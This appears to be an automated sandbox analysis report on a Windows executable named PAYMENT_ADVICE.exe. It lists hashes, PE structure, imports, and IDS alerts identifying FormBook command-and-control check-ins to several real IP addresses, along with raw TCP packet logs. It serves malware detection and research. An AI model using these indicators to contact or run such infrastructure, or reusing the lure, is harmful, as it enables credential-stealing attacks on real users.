                                                            Encrypted:true
                                                            SSDEEP:6144:PJf7OuGiX9zCqLTeB0xdbhGet6zYrPRTER5nC:PhO7OG2eIbhGet6zYrPZX
                                                            MD5:E4F4318DE0887583C4D760F8342258A6
                                                            SHA1:6B1E6CA3842B3965394D0B7F5EF2268CFF48DF0C
                                                            SHA-256:0205BA73AF3111120889C38DF36FE56BE5BBB0151CE32B514CCE95C0EAB08EAD
                                                            SHA-512:0E09D4AF2DF887F594CBB48FB217493AA9E082D903226D262CAD58727C21DE3E7F69B66F563423D3913413F8BDA0063B6F42C98062B27FB0291721201EBD1587
                                                            Malicious:false
                                                            Preview:.j.JLYYTJGGY..XQ.J0HJOYY.NGGYHIXQ8J0HJOYYTNGGYHIXQ8J0HJOYYTN.GYHGG.6J.A.n.X..f.1!:x!J%W:+"y:5 )(-h+=qJ?^h#!y...g*6,,v\5@.HJOYYTN>FP.t86.wP/.r9>.T..r)?.".v/>.N..e(...Q)Xu*(.YTNGGYHI..8J|IKO.B>.GGYHIXQ8.0JKDXRTN.CYHIXQ8J0Hj[YYT^GGY8MXQ8.0HZOYYVNGAYHIXQ8J6HJOYYTNG7]HIZQ8J0HJMY..NGWYHYXQ8J HJ_YYTNGGIHIXQ8J0HJOYYTNGGYHIXQ8J0HJOYYTNGGYHIXQ8J0HJOYYTNGGYHIXQ8J0HJOYYTNGGYHIXQ8J0HJOYYTNGGYHIXQ8J0HJOYYTNGGYHIXQ8J0HJOYYTNGGYHIXQ8J0HJOYYz:"?-HIX%aN0HZOYY.JGGIHIXQ8J0HJOYYTNgGY(IXQ8J0HJOYYTNGGYHIXQ8J0HJOYYTNGGYHIXQ8J0HJOYYTNGGYHIXQ8J0HJOYYTNGGYHIXQ8J0HJOYYTNGGYHIXQ8J0HJOYYTNGGYHIXQ8J0HJOYYTNGGYHIXQ8J0HJOYYTNGGYHIXQ8J0HJOYYTNGGYHIXQ8J0HJOYYTNGGYHIXQ8J0HJOYYTNGGYHIXQ8J0HJOYYTNGGYHIXQ8J0HJOYYTNGGYHIXQ8J0HJOYYTNGGYHIXQ8J0HJOYYTNGGYHIXQ8J0HJOYYTNGGYHIXQ8J0HJOYYTNGGYHIXQ8J0HJOYYTNGGYHIXQ8J0HJOYYTNGGYHIXQ8J0HJOYYTNGGYHIXQ8J0HJOYYTNGGYHIXQ8J0HJOYYTNGGYHIXQ8J0HJOYYTNGGYHIXQ8J0HJOYYTNGGYHIXQ8J0HJOYYTNGGYHIXQ8J0HJOYYTNGGYHIXQ8J0HJOYYTNGGYHIXQ8J0HJOYYTNGGYHIXQ8J0HJOYYTNGGYHIXQ8J0HJOYYTNGGYHIXQ8J0HJOYYTNGGYHI

                                                            Static File Info

                                                            General

                                                            File type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                            Entropy (8bit):7.013931276266245
                                                            TrID:
                                                            • Win32 Executable (generic) a (10002005/4) 99.96%
                                                            • Generic Win/DOS Executable (2004/3) 0.02%
                                                            • DOS Executable Generic (2002/1) 0.02%
                                                            • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                                                            File name:PAYMENT_ADVICE.exe
                                                            File size:1'288'192 bytes
                                                            MD5:228fda4777b9efacf66e920158bfa794
                                                            SHA1:14d65679109465931a6c03bb241195b1607041fb
                                                            SHA256:1a552c79d04a85244459405c8a41c16c1febe837cf71fd1ead40365941a6f14a
                                                            SHA512:ce1b94ee46b0c74143322be5923f6d1d303853ba6e69df3f51bcd1cf3922914633ccb79d156063e9cab8b394fb80a38269779b874a0da02aad0b0c1f2a25bde7
                                                            SSDEEP:24576:Su6J33O0c+JY5UZ+XC0kGso6FavJRwcEjAoa9pdC1sgVqj8VWY:Uu0c++OCvkGs9FavDwcEo9/CQY
                                                            TLSH:BB55BE2273DD8361CB668273BF6977016EBF7C650630B85B2F843C79AA71161162C7A3
                                                            File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......6...r}..r}..r}..4,".p}......s}.../..A}.../#..}.../".G}..{.@.{}..{.P.W}..r}..R.....)."}......s}.../..s}..r}T.s}......s}..Richr}.

                                                            File Icon

                                                            Icon Hash:08080f0501050006

                                                            Static PE Info

                                                            General

                                                            Entrypoint:0x427dcd
                                                            Entrypoint Section:.text
                                                            Digitally signed:false
                                                            Imagebase:0x400000
                                                            Subsystem:windows gui
                                                            Image File Characteristics:EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
                                                            DLL Characteristics:DYNAMIC_BASE, TERMINAL_SERVER_AWARE
                                                            Time Stamp:0x67493050 [Fri Nov 29 03:09:04 2024 UTC]
                                                            TLS Callbacks:
                                                            CLR (.Net) Version:
                                                            OS Version Major:5
                                                            OS Version Minor:1
                                                            File Version Major:5
                                                            File Version Minor:1
                                                            Subsystem Version Major:5
                                                            Subsystem Version Minor:1
                                                            Import Hash:afcdf79be1557326c854b6e20cb900a7

                                                            Entrypoint Preview

                                                            Instruction
                                                            call 00007F95CC8DB87Ah
                                                            jmp 00007F95CC8CE644h
                                                            int3
                                                            int3
                                                            int3
                                                            int3
                                                            int3
                                                            int3
                                                            int3
                                                            int3
                                                            int3
                                                            push edi
                                                            push esi
                                                            mov esi, dword ptr [esp+10h]
                                                            mov ecx, dword ptr [esp+14h]
                                                            mov edi, dword ptr [esp+0Ch]
                                                            mov eax, ecx
                                                            mov edx, ecx
                                                            add eax, esi
                                                            cmp edi, esi
                                                            jbe 00007F95CC8CE7CAh
                                                            cmp edi, eax
                                                            jc 00007F95CC8CEB2Eh
                                                            bt dword ptr [004C31FCh], 01h
                                                            jnc 00007F95CC8CE7C9h
                                                            rep movsb
                                                            jmp 00007F95CC8CEADCh
                                                            cmp ecx, 00000080h
                                                            jc 00007F95CC8CE994h
                                                            mov eax, edi
                                                            xor eax, esi
                                                            test eax, 0000000Fh
                                                            jne 00007F95CC8CE7D0h
                                                            bt dword ptr [004BE324h], 01h
                                                            jc 00007F95CC8CECA0h
                                                            bt dword ptr [004C31FCh], 00000000h
                                                            jnc 00007F95CC8CE96Dh
                                                            test edi, 00000003h
                                                            jne 00007F95CC8CE97Eh
                                                            test esi, 00000003h
                                                            jne 00007F95CC8CE95Dh
                                                            bt edi, 02h
                                                            jnc 00007F95CC8CE7CFh
                                                            mov eax, dword ptr [esi]
                                                            sub ecx, 04h
                                                            lea esi, dword ptr [esi+04h]
                                                            mov dword ptr [edi], eax
                                                            lea edi, dword ptr [edi+04h]
                                                            bt edi, 03h
                                                            jnc 00007F95CC8CE7D3h
                                                            movq xmm1, qword ptr [esi]
                                                            sub ecx, 08h
                                                            lea esi, dword ptr [esi+08h]
                                                            movq qword ptr [edi], xmm1
                                                            lea edi, dword ptr [edi+08h]
                                                            test esi, 00000007h
                                                            je 00007F95CC8CE825h
                                                            bt esi, 03h
                                                            jnc 00007F95CC8CE878h

                                                            Rich Headers

                                                            Programming Language:
                                                            • [ASM] VS2013 build 21005
                                                            • [ C ] VS2013 build 21005
                                                            • [C++] VS2013 build 21005
                                                            • [ C ] VS2008 SP1 build 30729
                                                            • [IMP] VS2008 SP1 build 30729
                                                            • [ASM] VS2013 UPD4 build 31101
                                                            • [RES] VS2013 build 21005
                                                            • [LNK] VS2013 UPD4 build 31101

                                                            Data Directories

                                                            NameVirtual AddressVirtual Size Is in Section
                                                            IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                                            IMAGE_DIRECTORY_ENTRY_IMPORT0xba44c0x17c.rdata
                                                            IMAGE_DIRECTORY_ENTRY_RESOURCE0xc70000x71f44.rsrc
                                                            IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                                            IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                                                            IMAGE_DIRECTORY_ENTRY_BASERELOC0x1390000x711c.reloc
                                                            IMAGE_DIRECTORY_ENTRY_DEBUG0x92bc00x1c.rdata
                                                            IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                            IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                            IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                                                            IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0xa48700x40.rdata
                                                            IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                                            IMAGE_DIRECTORY_ENTRY_IAT0x8f0000x884.rdata
                                                            IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                                            IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                                            IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                                            Sections

                                                            NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                                            .text0x10000x8dcc40x8de00d28a820a1d9ff26cda02d12b888ba4b4False0.5728679102422908data6.676118058520316IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                                            .rdata0x8f0000x2e10e0x2e20079b14b254506b0dbc8cd0ad67fb70ad9False0.33535526761517614OpenPGP Public Key5.76010872795207IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                            .data0xbe0000x8f740x52009f9d6f746f1a415a63de45f8b7983d33False0.1017530487804878data1.198745897703538IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                            .rsrc0xc70000x71f440x7200061a893d95100e25ceae3de298125b07bFalse0.7925811232182017data7.188468145646225IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                            .reloc0x1390000x711c0x72006fcae3cbbf6bfbabf5ec5bbe7cf612c3False0.7650767543859649data6.779031650454199IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

                                                            Resources

                                                            NameRVASizeTypeLanguageCountryZLIB Complexity
                                                            RT_ICON0xc75480x128Device independent bitmap graphic, 16 x 32 x 4, image size 192EnglishGreat Britain0.7466216216216216
                                                            RT_ICON0xc76700x128Device independent bitmap graphic, 16 x 32 x 4, image size 128, 16 important colorsEnglishGreat Britain0.3277027027027027
                                                            RT_ICON0xc77980x128Device independent bitmap graphic, 16 x 32 x 4, image size 192EnglishGreat Britain0.3885135135135135
                                                            RT_ICON0xc78c00x468Device independent bitmap graphic, 16 x 32 x 32, image size 1024, resolution 5905 x 5905 px/mEnglishGreat Britain0.25620567375886527
                                                            RT_ICON0xc7d280x10a8Device independent bitmap graphic, 32 x 64 x 32, image size 4096, resolution 5905 x 5905 px/mEnglishGreat Britain0.17120075046904315
                                                            RT_ICON0xc8dd00x25a8Device independent bitmap graphic, 48 x 96 x 32, image size 9216, resolution 5905 x 5905 px/mEnglishGreat Britain0.14201244813278008
                                                            RT_ICON0xcb3780x4228Device independent bitmap graphic, 64 x 128 x 32, image size 16384, resolution 5905 x 5905 px/mEnglishGreat Britain0.12246102975909305
                                                            RT_ICON0xcf5a00x10828Device independent bitmap graphic, 128 x 256 x 32, image size 65536, resolution 5905 x 5905 px/mEnglishGreat Britain0.1018129658109547
                                                            RT_ICON0xdfdc80x6c5bPNG image data, 256 x 256, 8-bit/color RGBA, non-interlacedEnglishGreat Britain0.9744403186848841
                                                            RT_MENU0xe6a240x50dataEnglishGreat Britain0.9
                                                            RT_STRING0xe6a740x594dataEnglishGreat Britain0.3333333333333333
                                                            RT_STRING0xe70080x68adataEnglishGreat Britain0.2747909199522103
                                                            RT_STRING0xe76940x490dataEnglishGreat Britain0.3715753424657534
                                                            RT_STRING0xe7b240x5fcdataEnglishGreat Britain0.3087467362924282
                                                            RT_STRING0xe81200x65cdataEnglishGreat Britain0.34336609336609336
                                                            RT_STRING0xe877c0x466dataEnglishGreat Britain0.3605683836589698
                                                            RT_STRING0xe8be40x158Matlab v4 mat-file (little endian) n, numeric, rows 0, columns 0EnglishGreat Britain0.502906976744186
                                                            RT_RCDATA0xe8d3c0x4fca4data1.000324337555841
                                                            RT_GROUP_ICON0x1389e00x5adataEnglishGreat Britain0.7888888888888889
                                                            RT_GROUP_ICON0x138a3c0x14dataEnglishGreat Britain1.25
                                                            RT_GROUP_ICON0x138a500x14dataEnglishGreat Britain1.15
                                                            RT_GROUP_ICON0x138a640x14dataEnglishGreat Britain1.25
                                                            RT_VERSION0x138a780xdcdataEnglishGreat Britain0.6181818181818182
                                                            RT_MANIFEST0x138b540x3efASCII text, with CRLF line terminatorsEnglishGreat Britain0.5074478649453823

                                                            Imports

                                                            DLLImport
                                                            WSOCK32.dllWSACleanup, socket, inet_ntoa, setsockopt, ntohs, recvfrom, ioctlsocket, htons, WSAStartup, __WSAFDIsSet, select, accept, listen, bind, closesocket, WSAGetLastError, recv, sendto, send, inet_addr, gethostbyname, gethostname, connect
                                                            VERSION.dllGetFileVersionInfoW, GetFileVersionInfoSizeW, VerQueryValueW
                                                            WINMM.dlltimeGetTime, waveOutSetVolume, mciSendStringW
                                                            COMCTL32.dllImageList_ReplaceIcon, ImageList_Destroy, ImageList_Remove, ImageList_SetDragCursorImage, ImageList_BeginDrag, ImageList_DragEnter, ImageList_DragLeave, ImageList_EndDrag, ImageList_DragMove, InitCommonControlsEx, ImageList_Create
                                                            MPR.dllWNetUseConnectionW, WNetCancelConnection2W, WNetGetConnectionW, WNetAddConnection2W
                                                            WININET.dllInternetQueryDataAvailable, InternetCloseHandle, InternetOpenW, InternetSetOptionW, InternetCrackUrlW, HttpQueryInfoW, InternetQueryOptionW, HttpOpenRequestW, HttpSendRequestW, FtpOpenFileW, FtpGetFileSize, InternetOpenUrlW, InternetReadFile, InternetConnectW
                                                            PSAPI.DLLGetProcessMemoryInfo
                                                            IPHLPAPI.DLLIcmpCreateFile, IcmpCloseHandle, IcmpSendEcho
                                                            USERENV.dllDestroyEnvironmentBlock, UnloadUserProfile, CreateEnvironmentBlock, LoadUserProfileW
                                                            UxTheme.dllIsThemeActive
                                                            KERNEL32.dllDuplicateHandle, CreateThread, WaitForSingleObject, HeapAlloc, GetProcessHeap, HeapFree, Sleep, GetCurrentThreadId, MultiByteToWideChar, MulDiv, GetVersionExW, IsWow64Process, GetSystemInfo, FreeLibrary, LoadLibraryA, GetProcAddress, SetErrorMode, GetModuleFileNameW, WideCharToMultiByte, lstrcpyW, lstrlenW, GetModuleHandleW, QueryPerformanceCounter, VirtualFreeEx, OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateFileW, SetFilePointerEx, SetEndOfFile, ReadFile, WriteFile, FlushFileBuffers, TerminateProcess, CreateToolhelp32Snapshot, Process32FirstW, Process32NextW, SetFileTime, GetFileAttributesW, FindFirstFileW, SetCurrentDirectoryW, GetLongPathNameW, GetShortPathNameW, DeleteFileW, FindNextFileW, CopyFileExW, MoveFileW, CreateDirectoryW, RemoveDirectoryW, SetSystemPowerState, QueryPerformanceFrequency, FindResourceW, LoadResource, LockResource, SizeofResource, EnumResourceNamesW, OutputDebugStringW, GetTempPathW, GetTempFileNameW, DeviceIoControl, GetLocalTime, CompareStringW, GetCurrentProcess, EnterCriticalSection, LeaveCriticalSection, GetStdHandle, CreatePipe, InterlockedExchange, TerminateThread, LoadLibraryExW, FindResourceExW, CopyFileW, VirtualFree, FormatMessageW, GetExitCodeProcess, GetPrivateProfileStringW, WritePrivateProfileStringW, GetPrivateProfileSectionW, WritePrivateProfileSectionW, GetPrivateProfileSectionNamesW, FileTimeToLocalFileTime, FileTimeToSystemTime, SystemTimeToFileTime, LocalFileTimeToFileTime, GetDriveTypeW, GetDiskFreeSpaceExW, GetDiskFreeSpaceW, GetVolumeInformationW, SetVolumeLabelW, CreateHardLinkW, SetFileAttributesW, CreateEventW, SetEvent, GetEnvironmentVariableW, SetEnvironmentVariableW, GlobalLock, GlobalUnlock, GlobalAlloc, GetFileSize, GlobalFree, GlobalMemoryStatusEx, Beep, GetSystemDirectoryW, HeapReAlloc, HeapSize, GetComputerNameW, GetWindowsDirectoryW, GetCurrentProcessId, GetProcessIoCounters, CreateProcessW, GetProcessId, SetPriorityClass, LoadLibraryW, VirtualAlloc, IsDebuggerPresent, GetCurrentDirectoryW, lstrcmpiW, DecodePointer, GetLastError, RaiseException, InitializeCriticalSectionAndSpinCount, DeleteCriticalSection, InterlockedDecrement, InterlockedIncrement, GetCurrentThread, CloseHandle, GetFullPathNameW, EncodePointer, ExitProcess, GetModuleHandleExW, ExitThread, GetSystemTimeAsFileTime, ResumeThread, GetCommandLineW, IsProcessorFeaturePresent, IsValidCodePage, GetACP, GetOEMCP, GetCPInfo, SetLastError, UnhandledExceptionFilter, SetUnhandledExceptionFilter, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, GetStartupInfoW, GetStringTypeW, SetStdHandle, GetFileType, GetConsoleCP, GetConsoleMode, RtlUnwind, ReadConsoleW, GetTimeZoneInformation, GetDateFormatW, GetTimeFormatW, LCMapStringW, GetEnvironmentStringsW, FreeEnvironmentStringsW, WriteConsoleW, FindClose, SetEnvironmentVariableA
                                                            USER32.dllAdjustWindowRectEx, CopyImage, SetWindowPos, GetCursorInfo, RegisterHotKey, ClientToScreen, GetKeyboardLayoutNameW, IsCharAlphaW, IsCharAlphaNumericW, IsCharLowerW, IsCharUpperW, GetMenuStringW, GetSubMenu, GetCaretPos, IsZoomed, MonitorFromPoint, GetMonitorInfoW, SetWindowLongW, SetLayeredWindowAttributes, FlashWindow, GetClassLongW, TranslateAcceleratorW, IsDialogMessageW, GetSysColor, InflateRect, DrawFocusRect, DrawTextW, FrameRect, DrawFrameControl, FillRect, PtInRect, DestroyAcceleratorTable, CreateAcceleratorTableW, SetCursor, GetWindowDC, GetSystemMetrics, GetActiveWindow, CharNextW, wsprintfW, RedrawWindow, DrawMenuBar, DestroyMenu, SetMenu, GetWindowTextLengthW, CreateMenu, IsDlgButtonChecked, DefDlgProcW, CallWindowProcW, ReleaseCapture, SetCapture, CreateIconFromResourceEx, mouse_event, ExitWindowsEx, SetActiveWindow, FindWindowExW, EnumThreadWindows, SetMenuDefaultItem, InsertMenuItemW, IsMenu, TrackPopupMenuEx, GetCursorPos, DeleteMenu, SetRect, GetMenuItemID, GetMenuItemCount, SetMenuItemInfoW, GetMenuItemInfoW, SetForegroundWindow, IsIconic, FindWindowW, MonitorFromRect, keybd_event, SendInput, GetAsyncKeyState, SetKeyboardState, GetKeyboardState, GetKeyState, VkKeyScanW, LoadStringW, DialogBoxParamW, MessageBeep, EndDialog, SendDlgItemMessageW, GetDlgItem, SetWindowTextW, CopyRect, ReleaseDC, GetDC, EndPaint, BeginPaint, GetClientRect, GetMenu, DestroyWindow, EnumWindows, GetDesktopWindow, IsWindow, IsWindowEnabled, IsWindowVisible, EnableWindow, InvalidateRect, GetWindowLongW, GetWindowThreadProcessId, AttachThreadInput, GetFocus, GetWindowTextW, ScreenToClient, SendMessageTimeoutW, EnumChildWindows, CharUpperBuffW, GetParent, GetDlgCtrlID, SendMessageW, MapVirtualKeyW, PostMessageW, GetWindowRect, SetUserObjectSecurity, CloseDesktop, CloseWindowStation, OpenDesktopW, SetProcessWindowStation, GetProcessWindowStation, OpenWindowStationW, GetUserObjectSecurity, MessageBoxW, DefWindowProcW, SetClipboardData, EmptyClipboard, CountClipboardFormats, CloseClipboard, GetClipboardData, IsClipboardFormatAvailable, OpenClipboard, BlockInput, GetMessageW, LockWindowUpdate, DispatchMessageW, TranslateMessage, PeekMessageW, UnregisterHotKey, CheckMenuRadioItem, CharLowerBuffW, MoveWindow, SetFocus, PostQuitMessage, KillTimer, CreatePopupMenu, RegisterWindowMessageW, SetTimer, ShowWindow, CreateWindowExW, RegisterClassExW, LoadIconW, LoadCursorW, GetSysColorBrush, GetForegroundWindow, MessageBoxA, DestroyIcon, SystemParametersInfoW, LoadImageW, GetClassNameW
                                                            GDI32.dllStrokePath, DeleteObject, GetTextExtentPoint32W, ExtCreatePen, GetDeviceCaps, EndPath, SetPixel, CloseFigure, CreateCompatibleBitmap, CreateCompatibleDC, SelectObject, StretchBlt, GetDIBits, LineTo, AngleArc, MoveToEx, Ellipse, DeleteDC, GetPixel, CreateDCW, GetStockObject, GetTextFaceW, CreateFontW, SetTextColor, PolyDraw, BeginPath, Rectangle, SetViewportOrgEx, GetObjectW, SetBkMode, RoundRect, SetBkColor, CreatePen, CreateSolidBrush, StrokeAndFillPath
                                                            COMDLG32.dllGetOpenFileNameW, GetSaveFileNameW
                                                            ADVAPI32.dllGetAce, RegEnumValueW, RegDeleteValueW, RegDeleteKeyW, RegEnumKeyExW, RegSetValueExW, RegOpenKeyExW, RegCloseKey, RegQueryValueExW, RegConnectRegistryW, InitializeSecurityDescriptor, InitializeAcl, AdjustTokenPrivileges, OpenThreadToken, OpenProcessToken, LookupPrivilegeValueW, DuplicateTokenEx, CreateProcessAsUserW, CreateProcessWithLogonW, GetLengthSid, CopySid, LogonUserW, AllocateAndInitializeSid, CheckTokenMembership, RegCreateKeyExW, FreeSid, GetTokenInformation, GetSecurityDescriptorDacl, GetAclInformation, AddAce, SetSecurityDescriptorDacl, GetUserNameW, InitiateSystemShutdownExW
                                                            SHELL32.dllDragQueryPoint, ShellExecuteExW, DragQueryFileW, SHEmptyRecycleBinW, SHGetPathFromIDListW, SHBrowseForFolderW, SHCreateShellItem, SHGetDesktopFolder, SHGetSpecialFolderLocation, SHGetFolderPathW, SHFileOperationW, ExtractIconExW, Shell_NotifyIconW, ShellExecuteW, DragFinish
                                                            ole32.dllCoTaskMemAlloc, CoTaskMemFree, CLSIDFromString, ProgIDFromCLSID, CLSIDFromProgID, OleSetMenuDescriptor, MkParseDisplayName, OleSetContainedObject, CoCreateInstance, IIDFromString, StringFromGUID2, CreateStreamOnHGlobal, OleInitialize, OleUninitialize, CoInitialize, CoUninitialize, GetRunningObjectTable, CoGetInstanceFromFile, CoGetObject, CoSetProxyBlanket, CoCreateInstanceEx, CoInitializeSecurity
                                                            OLEAUT32.dllLoadTypeLibEx, VariantCopyInd, SysReAllocString, SysFreeString, SafeArrayDestroyDescriptor, SafeArrayDestroyData, SafeArrayUnaccessData, SafeArrayAccessData, SafeArrayAllocData, SafeArrayAllocDescriptorEx, SafeArrayCreateVector, RegisterTypeLib, CreateStdDispatch, DispCallFunc, VariantChangeType, SysStringLen, VariantTimeToSystemTime, VarR8FromDec, SafeArrayGetVartype, VariantCopy, VariantClear, OleLoadPicture, QueryPathOfRegTypeLib, RegisterTypeLibForUser, UnRegisterTypeLibForUser, UnRegisterTypeLib, CreateDispTypeInfo, SysAllocString, VariantInit

                                                            Possible Origin

                                                            Language of compilation systemCountry where language is spokenMap
                                                            EnglishGreat Britain

                                                            Network Behavior

                                                            Suricata IDS Alerts

                                                            TimestampSIDSignatureSeveritySource IPSource PortDest IPDest PortProtocol
                                                            2024-11-29T10:19:58.068625+01002855464ETPRO MALWARE FormBook CnC Checkin (POST) M31192.168.2.54985943.205.198.2980TCP
                                                            2024-11-29T10:20:00.725102+01002855464ETPRO MALWARE FormBook CnC Checkin (POST) M31192.168.2.54986643.205.198.2980TCP
                                                            2024-11-29T10:20:03.381032+01002855464ETPRO MALWARE FormBook CnC Checkin (POST) M31192.168.2.54987343.205.198.2980TCP
                                                            2024-11-29T10:20:12.810874+01002855464ETPRO MALWARE FormBook CnC Checkin (POST) M31192.168.2.549894104.21.24.19880TCP
                                                            2024-11-29T10:20:15.453830+01002855464ETPRO MALWARE FormBook CnC Checkin (POST) M31192.168.2.549901104.21.24.19880TCP
                                                            2024-11-29T10:20:18.149893+01002855464ETPRO MALWARE FormBook CnC Checkin (POST) M31192.168.2.549907104.21.24.19880TCP
                                                            2024-11-29T10:20:27.820861+01002855464ETPRO MALWARE FormBook CnC Checkin (POST) M31192.168.2.549930194.245.148.18980TCP
                                                            2024-11-29T10:20:30.464376+01002855464ETPRO MALWARE FormBook CnC Checkin (POST) M31192.168.2.549938194.245.148.18980TCP
                                                            2024-11-29T10:20:33.061208+01002855464ETPRO MALWARE FormBook CnC Checkin (POST) M31192.168.2.549945194.245.148.18980TCP
                                                            2024-11-29T10:20:42.815767+01002855464ETPRO MALWARE FormBook CnC Checkin (POST) M31192.168.2.54996863.250.43.13480TCP
                                                            2024-11-29T10:20:45.469779+01002855464ETPRO MALWARE FormBook CnC Checkin (POST) M31192.168.2.54997563.250.43.13480TCP
                                                            2024-11-29T10:20:48.186065+01002855464ETPRO MALWARE FormBook CnC Checkin (POST) M31192.168.2.54998263.250.43.13480TCP
                                                            2024-11-29T10:20:58.442277+01002855464ETPRO MALWARE FormBook CnC Checkin (POST) M31192.168.2.54999513.248.169.4880TCP
                                                            2024-11-29T10:21:01.150258+01002855464ETPRO MALWARE FormBook CnC Checkin (POST) M31192.168.2.54999613.248.169.4880TCP
                                                            2024-11-29T10:21:03.767218+01002855464ETPRO MALWARE FormBook CnC Checkin (POST) M31192.168.2.54999713.248.169.4880TCP
                                                            2024-11-29T10:21:13.518486+01002855464ETPRO MALWARE FormBook CnC Checkin (POST) M31192.168.2.549999176.32.38.18380TCP
                                                            2024-11-29T10:21:16.224873+01002855464ETPRO MALWARE FormBook CnC Checkin (POST) M31192.168.2.550000176.32.38.18380TCP
                                                            2024-11-29T10:21:18.849478+01002855464ETPRO MALWARE FormBook CnC Checkin (POST) M31192.168.2.550001176.32.38.18380TCP
                                                            2024-11-29T10:21:28.368793+01002855464ETPRO MALWARE FormBook CnC Checkin (POST) M31192.168.2.550003203.161.43.22880TCP
                                                            2024-11-29T10:21:31.127770+01002855464ETPRO MALWARE FormBook CnC Checkin (POST) M31192.168.2.550004203.161.43.22880TCP
                                                            2024-11-29T10:21:33.743138+01002855464ETPRO MALWARE FormBook CnC Checkin (POST) M31192.168.2.550005203.161.43.22880TCP

                                                            Network Port Distribution

                                                            TCP Packets

                                                            TimestampSource PortDest PortSource IPDest IP
                                                            Nov 29, 2024 10:19:39.072640896 CET4981980192.168.2.538.47.233.21
                                                            Nov 29, 2024 10:19:39.192572117 CET804981938.47.233.21192.168.2.5
                                                            Nov 29, 2024 10:19:39.192763090 CET4981980192.168.2.538.47.233.21
                                                            Nov 29, 2024 10:19:39.202363014 CET4981980192.168.2.538.47.233.21
                                                            Nov 29, 2024 10:19:39.322267056 CET804981938.47.233.21192.168.2.5
                                                            Nov 29, 2024 10:19:40.826818943 CET804981938.47.233.21192.168.2.5
                                                            Nov 29, 2024 10:19:40.827037096 CET804981938.47.233.21192.168.2.5
                                                            Nov 29, 2024 10:19:40.827080965 CET4981980192.168.2.538.47.233.21
                                                            Nov 29, 2024 10:19:40.830044985 CET4981980192.168.2.538.47.233.21
                                                            Nov 29, 2024 10:19:40.949973106 CET804981938.47.233.21192.168.2.5
                                                            Nov 29, 2024 10:19:56.428679943 CET4985980192.168.2.543.205.198.29
                                                            Nov 29, 2024 10:19:56.548619986 CET804985943.205.198.29192.168.2.5
                                                            Nov 29, 2024 10:19:56.548703909 CET4985980192.168.2.543.205.198.29
                                                            Nov 29, 2024 10:19:56.562899113 CET4985980192.168.2.543.205.198.29
                                                            Nov 29, 2024 10:19:56.682970047 CET804985943.205.198.29192.168.2.5
                                                            Nov 29, 2024 10:19:58.068624973 CET4985980192.168.2.543.205.198.29
                                                            Nov 29, 2024 10:19:58.074903011 CET804985943.205.198.29192.168.2.5
                                                            Nov 29, 2024 10:19:58.074990034 CET804985943.205.198.29192.168.2.5
                                                            Nov 29, 2024 10:19:58.075016975 CET4985980192.168.2.543.205.198.29
                                                            Nov 29, 2024 10:19:58.075059891 CET4985980192.168.2.543.205.198.29
                                                            Nov 29, 2024 10:19:58.189147949 CET804985943.205.198.29192.168.2.5
                                                            Nov 29, 2024 10:19:58.189275026 CET4985980192.168.2.543.205.198.29
                                                            Nov 29, 2024 10:19:59.087255001 CET4986680192.168.2.543.205.198.29
                                                            Nov 29, 2024 10:19:59.207201004 CET804986643.205.198.29192.168.2.5
                                                            Nov 29, 2024 10:19:59.207317114 CET4986680192.168.2.543.205.198.29
                                                            Nov 29, 2024 10:19:59.220835924 CET4986680192.168.2.543.205.198.29
                                                            Nov 29, 2024 10:19:59.340914965 CET804986643.205.198.29192.168.2.5
                                                            Nov 29, 2024 10:20:00.725101948 CET4986680192.168.2.543.205.198.29
                                                            Nov 29, 2024 10:20:00.732522964 CET804986643.205.198.29192.168.2.5
                                                            Nov 29, 2024 10:20:00.732562065 CET804986643.205.198.29192.168.2.5
                                                            Nov 29, 2024 10:20:00.732589006 CET4986680192.168.2.543.205.198.29
                                                            Nov 29, 2024 10:20:00.732625961 CET4986680192.168.2.543.205.198.29
                                                            Nov 29, 2024 10:20:00.845006943 CET804986643.205.198.29192.168.2.5
                                                            Nov 29, 2024 10:20:00.845093966 CET4986680192.168.2.543.205.198.29
                                                            Nov 29, 2024 10:20:01.744144917 CET4987380192.168.2.543.205.198.29
                                                            Nov 29, 2024 10:20:01.864064932 CET804987343.205.198.29192.168.2.5
                                                            Nov 29, 2024 10:20:01.864267111 CET4987380192.168.2.543.205.198.29
                                                            Nov 29, 2024 10:20:01.878165960 CET4987380192.168.2.543.205.198.29
                                                            Nov 29, 2024 10:20:01.998213053 CET804987343.205.198.29192.168.2.5
                                                            Nov 29, 2024 10:20:01.998229980 CET804987343.205.198.29192.168.2.5
                                                            Nov 29, 2024 10:20:03.381031990 CET4987380192.168.2.543.205.198.29
                                                            Nov 29, 2024 10:20:03.438901901 CET804987343.205.198.29192.168.2.5
                                                            Nov 29, 2024 10:20:03.438971996 CET804987343.205.198.29192.168.2.5
                                                            Nov 29, 2024 10:20:03.438985109 CET4987380192.168.2.543.205.198.29
                                                            Nov 29, 2024 10:20:03.439017057 CET4987380192.168.2.543.205.198.29
